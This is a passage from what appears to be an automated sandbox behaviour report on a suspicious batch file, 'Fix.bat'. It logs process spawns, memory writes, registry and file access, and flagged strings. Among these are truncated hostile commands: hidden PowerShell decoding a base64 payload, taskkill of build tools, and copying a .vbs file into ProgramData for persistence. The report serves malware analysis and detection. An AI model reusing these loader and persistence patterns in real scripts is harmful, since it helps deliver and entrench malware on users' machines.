00000000-00001496-00000C2A-1373047259] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00001496-00000C2A-1373127750] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" [Source: 00000000-00001496-00000C2A-1373216117] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System\ce0fd4f5b50baa17e7b80e4ee874ad11\System.ni.dll" [Source: 00000000-00001496-00000C2A-1373328852] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\990501e6199819806f01c8ecac88baac\System.Core.ni.dll" [Source: 00000000-00001496-00000C2A-1373393589] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" [Source: 00000000-00001496-00000C2A-1373515071] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" [Source: 00000000-00001496-00000C2A-1374008645] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" [Source: 00000000-00001496-00000C2A-1374201866] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00001496-00000C2A-1374561217] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" [Source: 00000000-00001496-00000C2A-1374680162] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll" [Source: 00000000-00001496-00000C2A-1375055872] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll" [Source: 00000000-00001496-00000C2A-1375366852] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll" [Source: 00000000-00001496-00000C2A-1375439287] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" [Source: 00000000-00001496-00000C2A-1375446813] Observed system executable string:"%WINDIR%\system32\version.dll" [Source: 00000000-00001496-00000C2A-1376316995] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" [Source: 00000000-00001496-00000C2A-1376361608] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" [Source: 00000000-00001496-00000C2A-1376855508] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" [Source: 00000000-00001496-00000C2A-1377009598] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\6287e09015a311a64c4fe0304818f8c3\System.Management.ni.dll" [Source: 00000000-00001496-00000C2A-1377051711] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\f0078c8c05b31633e5966c5629e65602\System.Xml.ni.dll" [Source: 00000000-00001496-00000C2A-1377285258]3d:T40c,Spawned process "powershell.exe" with commandline "powershell -Command "Start-Process powershell -WindowStyle Hidd ..." (UID: 00000000-00001496), Spawned process "powershell.exe" with commandline "-Command "$ddsdgo = 'WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB ..." (UID: 00000000-00001612) Spawned process "powershell.exe" with commandline "Start-Process cmd.exe -ArgumentList '/c taskkill /IM RegAsm.exe ..." (UID: 00000000-00004416) Spawned process "powershell.exe" with commandline "-WindowStyle Hidden if ((Get-Location).Path -ne '%ALLUSERSPROFIL ..." (UID: 00000000-00007560) Spawned process "cmd.exe" with commandline "/c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskki ..." (UID: 00000000-00007140) Spawned process "taskkill.exe" with commandline "taskkill /IM RegAsm.exe /F" (UID: 00000000-00006096) Spawned process "taskkill.exe" with commandline "taskkill /IM Vbc.exe /F" (UID: 00000000-00004640) Spawned process "taskkill.exe" with commandline "taskkill /IM MsBuild.exe /F" (UID: 00000000-00001104)3e:T40c,Spawned process "powershell.exe" with commandline "powershell -Command "Start-Process powershell -WindowStyle Hidd ..." (UID: 00000000-00001496), Spawned process "powershell.exe" with commandline "-Command "$ddsdgo = 'WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB ..." (UID: 00000000-00001612) Spawned process "powershell.exe" with commandline "Start-Process cmd.exe -ArgumentList '/c taskkill /IM RegAsm.exe ..." (UID: 00000000-00004416) Spawned process "powershell.exe" with commandline "-WindowStyle Hidden if ((Get-Location).Path -ne '%ALLUSERSPROFIL ..." (UID: 00000000-00007560) Spawned process "cmd.exe" with commandline "/c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskki ..." (UID: 00000000-00007140) Spawned process "taskkill.exe" with commandline "taskkill /IM RegAsm.exe /F" (UID: 00000000-00006096) Spawned process "taskkill.exe" with commandline "taskkill /IM Vbc.exe /F" (UID: 00000000-00004640) Spawned process "taskkill.exe" with commandline "taskkill /IM MsBuild.exe /F" (UID: 00000000-00001104)3f:T4a8,"cmd.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "432" "BaseAddress": "0000019A6B3C0000" "Buffer": "0000013F41CB9050" "NumberOfBytesToWrite": "000011C0" "$name": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"} "cmd.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "432" "BaseAddress": "00000016DB6152D8" "Buffer": "0000000A9D2FCB50" "NumberOfBytesToWrite": "00000008" "$name": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"} "powershell.exe" called "NtWriteVirtualMemory" (UID: 00000000-00001496) "powershell.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "2568" "BaseAddress": "00000250FEEE0000" "Buffer": "0000019A6DC1E6C0" "NumberOfBytesToWrite": "000011C0" "$name": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"} "powershell.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "2568" "BaseAddress": "000000A4BB8E82D8" "Buffer": "00000016DCA4B750" "NumberOfBytesToWrite": "00000008" "$name": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"} "powershell.exe" called "NtWriteVirtualMemory" (UID: 00000000-00001612)40:T646,"__PSScriptPolicyTest_bvyyk3xv.unz.ps1" has type "ASCII text with no line terminators"- Location: [%TEMP%\__PSScriptPolicyTest_bvyyk3xv.unz.ps1]- [targetUID: 00000000-00004416] "StartupProfileData-NonInteractive" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive]- [targetUID: 00000000-00001612] "__PSScriptPolicyTest_oztrlywq.2cq.ps1" has type "ASCII text with no line terminators"- Location: [%TEMP%\__PSScriptPolicyTest_oztrlywq.2cq.ps1]- [targetUID: 00000000-00001496] "__PSScriptPolicyTest_bnwxky12.2at.ps1" has type "ASCII text with no line terminators"- Location: [%TEMP%\__PSScriptPolicyTest_bnwxky12.2at.ps1]- [targetUID: 00000000-00001612] "__PSScriptPolicyTest_xuscdmdd.qss.ps1" has type "ASCII text with no line terminators"- Location: [%TEMP%\__PSScriptPolicyTest_xuscdmdd.qss.ps1]- [targetUID: 00000000-00007560] "__PSScriptPolicyTest_oaj2uv35.p1s.psm1" has type "ASCII text with no line terminators"- Location: [%TEMP%\__PSScriptPolicyTest_oaj2uv35.p1s.psm1]- [targetUID: 00000000-00007560] "__PSScriptPolicyTest_guc1osrv.m3c.psm1" has type "ASCII text with no line terminators"- Location: [%TEMP%\__PSScriptPolicyTest_guc1osrv.m3c.psm1]- [targetUID: 00000000-00004416] "__PSScriptPolicyTest_hlxvtujq.odb.psm1" has type "ASCII text with no line terminators"- Location: [%TEMP%\__PSScriptPolicyTest_hlxvtujq.odb.psm1]- [targetUID: 00000000-00001612] "__PSScriptPolicyTest_adkwe4mc.k1s.psm1" has type "ASCII text with no line terminators"- Location: [%TEMP%\__PSScriptPolicyTest_adkwe4mc.k1s.psm1]- [targetUID: 00000000-00001496]41:T645,"cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CODEPAGE"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\CONHOST.EXE"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-1271187874-1938232448-3812392235-1001"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\BAM"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\STATESEPARATION\REDIRECTIONMAP\KEYS"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "")42:Tc86,"cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CODEPAGE"; Key: "ACP"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CODEPAGE"; Key: "OEMCP"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RAISEEXCEPTIONONPOSSIBLEDEADLOCK"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "57A6ED1A-79F7-5011-B242-4784E5620CF7"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-1271187874-1938232448-3812392235-1001"; Key: "\DEVICE\HARDDISKVOLUME3\WINDOWS\SYSTEM32\CONHOST.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "3C74AFB9-8D82-44E3-B52C-365DBF48382A"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "B749553B-D950-5E03-6282-3145A61B1002"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "05F95EFE-7F75-49C7-A994-60A55CC09571"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: "000604XX"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SMTDELAYSLEEPLOOPWINDOWSIZE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SMTDELAYSPINCOUNTTHRESHOLD"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SMTDELAYBASEYIELD"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SMTFACTORYIELD"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SMTDELAYMAXYIELD"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: "PREFEREXTERNALMANIFEST"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SAFEDLLSEARCHMODE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "D0F1A5C6-FC43-48AE-99BF-EFB1C38BE9D1"; Value: "")43:Tb2a,"powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\clr.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_1_CLR0400.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_CLR0400.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ucrtbase_clr0400.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" "powershell.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\CRYPTBASE.dll" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\bcrypt.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" "powershell.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\en-US\System.Management.Automation.resources.dll" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\en-US\System.Management.Automation.resources.exe" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\winnlsres.dll" "powershell.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" "powershell.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\MSASN1.dll"44:Tbc1,"cmd.exe" trying to access non-existent file "C:\Windows\System32\AppLocker\MDM" "powershell.exe" trying to access non-existent file "C:\WINDOWS\SYSTEM32\mscoree.dll.local" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\fusion.localgac" "powershell.exe" trying to access non-existent file "C:\Windows\System32\AppLocker\MDM" "powershell.exe" trying to access non-existent file "C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Numerics" "powershell.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.INI" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll.config" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll.config" "powershell.exe" trying to access non-existent file "Z:\" "powershell.exe" trying to access non-existent file "C:\Program Files (x86)\WindowsPowerShell\Modules\Modules.psd1" "powershell.exe" trying to access non-existent file "C:\Program Files (x86)\WindowsPowerShell\Modules\Modules.psm1" "powershell.exe" trying to access non-existent file "C:\Program Files (x86)\WindowsPowerShell\Modules\Modules.cdxml" "powershell.exe" trying to access non-existent file "C:\Program Files (x86)\WindowsPowerShell\Modules\Modules.xaml" "powershell.exe" trying to access non-existent file "C:\Program Files (x86)\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\Microsoft.PowerShell.Operation.Validation.psd1" "powershell.exe" trying to access non-existent file "C:\Program Files (x86)\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\Microsoft.PowerShell.Operation.Validation.psm1" "powershell.exe" trying to access non-existent file "C:\Program Files (x86)\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\Microsoft.PowerShell.Operation.Validation.cdxml" "powershell.exe" trying to access non-existent file "C:\Program Files (x86)\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\Microsoft.PowerShell.Operation.Validation.xaml" "powershell.exe" trying to access non-existent file "C:\Program Files (x86)\WindowsPowerShell\Modules\PackageManagement\PackageManagement.psd1" "powershell.exe" trying to access non-existent file "C:\Program Files (x86)\WindowsPowerShell\Modules\PackageManagement\PackageManagement.psm1" "powershell.exe" trying to access non-existent file "C:\Program Files (x86)\WindowsPowerShell\Modules\PackageManagement\PackageManagement.cdxml" "powershell.exe" trying to access non-existent file "C:\Program Files (x86)\WindowsPowerShell\Modules\PackageManagement\PackageManagement.xaml" "powershell.exe" trying to access non-existent file "C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\Pester.psd1"45:T8de,"powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00001496) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\\* (UID: 00000000-00001496) "powershell.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00001496) "powershell.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00001496) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00001496) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00001496) "powershell.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00001496) "powershell.exe" called "FindNextFileW" with parameter v2.0.50727 (UID: 00000000-00001496) "powershell.exe" called "FindNextFileW" with parameter v3.0 (UID: 00000000-00001496) "powershell.exe" called "FindNextFileW" with parameter v3.5 (UID: 00000000-00001496) "powershell.exe" called "FindNextFileW" with parameter v4.0.30319 (UID: 00000000-00001496) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\* (UID: 00000000-00001496) "powershell.exe" called "FindNextFileW" with parameter 3b9003e4f27d92e40668f0efad11e022 (UID: 00000000-00001496) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\* (UID: 00000000-00001496) "powershell.exe" called "FindNextFileW" with parameter 86af2f4f2745738837c95f24472c32ca (UID: 00000000-00001496) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\* (UID: 00000000-00001496) "powershell.exe" called "FindNextFileW" with parameter ce0fd4f5b50baa17e7b80e4ee874ad11 (UID: 00000000-00001496) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\* (UID: 00000000-00001496) "powershell.exe" called "FindNextFileW" with parameter 990501e6199819806f01c8ecac88baac (UID: 00000000-00001496) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\* (UID: 00000000-00001496)46:T16f0,Found string "=oAZQBmAHEANgAxAFIAWQBd@ADIAbQBnAGQAVQAyAGwARQBUAEUAUwA2AEsAcQBRAFkAcGOTO" (Indicator: "aes"; File: "Fix.bat") Found string "=icode.GetString^([system.convert]::Frombase64string^($ddsdgo.replace^(''GOTO" (Indicator: "base64"; File: "Fix.bat") Found string "=icode.GetString^([system.convert]::Frombase64string^($ddsdgo.replace^(''GOTO" (Indicator: "FromBase64String"; File: "Fix.bat") Found string "=QAgACgAJwB0AHgAdAAuAHAALwB3AEsAcQBkAHQATgBIAGsAOABZAHgAVgBLAEgANwBoAE0AGOTO" (Indicator: "aes"; File: "Fix.bat") Found string "SET =oAZQBmAHEANgAxAFIAWQBd@ADIAbQBnAGQAVQAyAGwARQBUAEUAUwA2AEsAcQBRAFkAc" (Indicator: "aes"; File: "Fix.bat") Found string "SET =icode.GetString^([system.convert]::Frombase64string^($ddsdgo.replace^(''" (Indicator: "base64"; File: "Fix.bat") Found string "SET =icode.GetString^([system.convert]::Frombase64string^($ddsdgo.replace^(''" (Indicator: "FromBase64String"; File: "Fix.bat") Found string "SET =QAgACgAJwB0AHgAdAAuAHAALwB3AEsAcQBkAHQATgBIAGsAOABZAHgAVgBLAEgANwBoAE0A" (Indicator: "aes"; File: "Fix.bat") file/memory contains long string with (Indicator: "aes"; File: "AMSI") file/memory contains long string with (Indicator: "base64"; File: "AMSI") file/memory contains long string with (Indicator: "FromBase64String"; File: "AMSI") file/memory contains long string with (Indicator: "aes"; File: "powershell.exe") file/memory contains long string with (Indicator: "base64"; File: "powershell.exe") file/memory contains long string with (Indicator: "FromBase64String"; File: "powershell.exe") Found string "=oAZQBmAHEANgAxAFIAWQBd@ADIAbQBnAGQAVQAyAGwARQBUAEUAUwA2AEsAcQBRAFkAc" (Indicator: "aes"; Source: "00000000-00001496.00000000.152207.6B4E0000.00000004.mdmp, 00000000-00001496.00000000.152207.6B740000.00000004.mdmp, 00000000-00001496.00000000.152207.6B7B0000.00000004.mdmp") Found string "icode.GetString([system.convert]::Frombase64string($ddsdgo.replace(''" (Indicator: "base64"; Source: "00000000-00001496.00000000.152207.6B4E0000.00000004.mdmp") Found string "icode.GetString([system.convert]::Frombase64string($ddsdgo.replace(''" (Indicator: "FromBase64String"; Source: "00000000-00001496.00000000.152207.6B4E0000.00000004.mdmp") Found string "QAgACgAJwB0AHgAdAAuAHAALwB3AEsAcQBkAHQATgBIAGsAOABZAHgAVgBLAEgANwBoAE0A" (Indicator: "aes"; Source: "00000000-00001496.00000000.152207.6B4E0000.00000004.mdmp") file/memory contains long string with (Indicator: "aes"; Source: "00000000-00001496.00000000.152207.6B4E0000.00000004.mdmp") file/memory contains long string with (Indicator: "base64"; Source: "00000000-00001496.00000000.152207.6B4E0000.00000004.mdmp") file/memory contains long string with (Indicator: "FromBase64String"; Source: "00000000-00001496.00000000.152207.6B4E0000.00000004.mdmp") file/memory contains long string with (Indicator: "aes"; Source: "00000000-00001496.00000000.152207.6B4E0000.00000004.mdmp, 00000000-00001496.00000000.152207.6B740000.00000004.mdmp, 00000000-00001496.00000000.152207.6B7B0000.00000004.mdmp") file/memory contains long string with (Indicator: "base64"; Source: "00000000-00001496.00000000.152207.6B4E0000.00000004.mdmp, 00000000-00001496.00000000.152207.6B740000.00000004.mdmp, 00000000-00001496.00000000.152207.6B7B0000.00000004.mdmp") file/memory contains long string with (Indicator: "FromBase64String"; Source: "00000000-00001496.00000000.152207.6B4E0000.00000004.mdmp, 00000000-00001496.00000000.152207.6B740000.00000004.mdmp, 00000000-00001496.00000000.152207.6B7B0000.00000004.mdmp") Found string "+=icode.GetString([system.convert]::Frombase64string($ddsdgo.replace(''" (Indicator: "base64"; Source: "00000000-00001496.00000000.152207.6B4E0000.00000004.mdmp, 00000000-00001496.00000000.152207.6B740000.00000004.mdmp, 00000000-00001496.00000000.152207.6B7B0000.00000004.mdmp") Found string "+=icode.GetString([system.convert]::Frombase64string($ddsdgo.replace(''" (Indicator: "FromBase64String"; Source: "00000000-00001496.00000000.152207.6B4E0000.00000004.mdmp, 00000000-00001496.00000000.152207.6B740000.00000004.mdmp, 00000000-00001496.00000000.152207.6B7B0000.00000004.mdmp") Found string "+s++=QAgACgAJwB0AHgAdAAuAHAALwB3AEsAcQBkAHQATgBIAGsAOABZAHgAVgBLAEgANwBoAE0A" (Indicator: "aes"; Source: "00000000-00001496.00000000.152207.6B4E0000.00000004.mdmp, 00000000-00001496.00000000.152207.6B740000.00000004.mdmp, 00000000-00001496.00000000.152207.6B7B0000.00000004.mdmp") Found string "System.IO.Compression.ZipFile" (Indicator: "zipfile"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found string "System.Security.Cryptography.Algorithms" (Indicator: "System.Security.Cryptography"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found string "System.Security.Cryptography.Cng" (Indicator: "System.Security.Cryptography"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found string "System.Security.Cryptography.Csp" (Indicator: "System.Security.Cryptography"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found string "System.Security.Cryptography.Encoding" (Indicator: "System.Security.Cryptography"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found string "System.Security.Cryptography.OpenSsl" (Indicator: "System.Security.Cryptography"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found string "System.Security.Cryptography.Pkcs" (Indicator: "System.Security.Cryptography"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found string "System.Security.Cryptography.Primitives" (Indicator: "System.Security.Cryptography"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found string "System.Security.Cryptography.X509Certificates" (Indicator: "System.Security.Cryptography"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp")47:T7e4,file/memory contains long string with (Indicator: "Select-Object"; File: "AMSI") file/memory contains long string with (Indicator: "Sort-Object"; File: "AMSI") Found string "if ((Get-Location).Path -ne 'C:\ProgramData') { (Get-ChildItem *.vbs | Sort-Object CreationTime -Descending | Select-Object -First 1) | Copy-Item -Destination 'C:\ProgramData\StartupName.vbs' -Force }" (Indicator: "Select-Object"; File: "AMSI") Found string "if ((Get-Location).Path -ne 'C:\ProgramData') { (Get-ChildItem *.vbs | Sort-Object CreationTime -Descending | Select-Object -First 1) | Copy-Item -Destination 'C:\ProgramData\StartupName.vbs' -Force }" (Indicator: "Sort-Object"; File: "AMSI") Found string "-WindowStyle Hidden if ((Get-Location).Path -ne '%ALLUSERSPROFILE%\) { (Get-ChildItem *.vbs | Sort-Object CreationTime -Descending | Select-Object -First 1) | Copy-Item -Destination '%ALLUSERSPROFILE%\StartupName.vbs' -Force }" (Indicator: "Select-Object"; File: "powershell.exe") Found string "-WindowStyle Hidden if 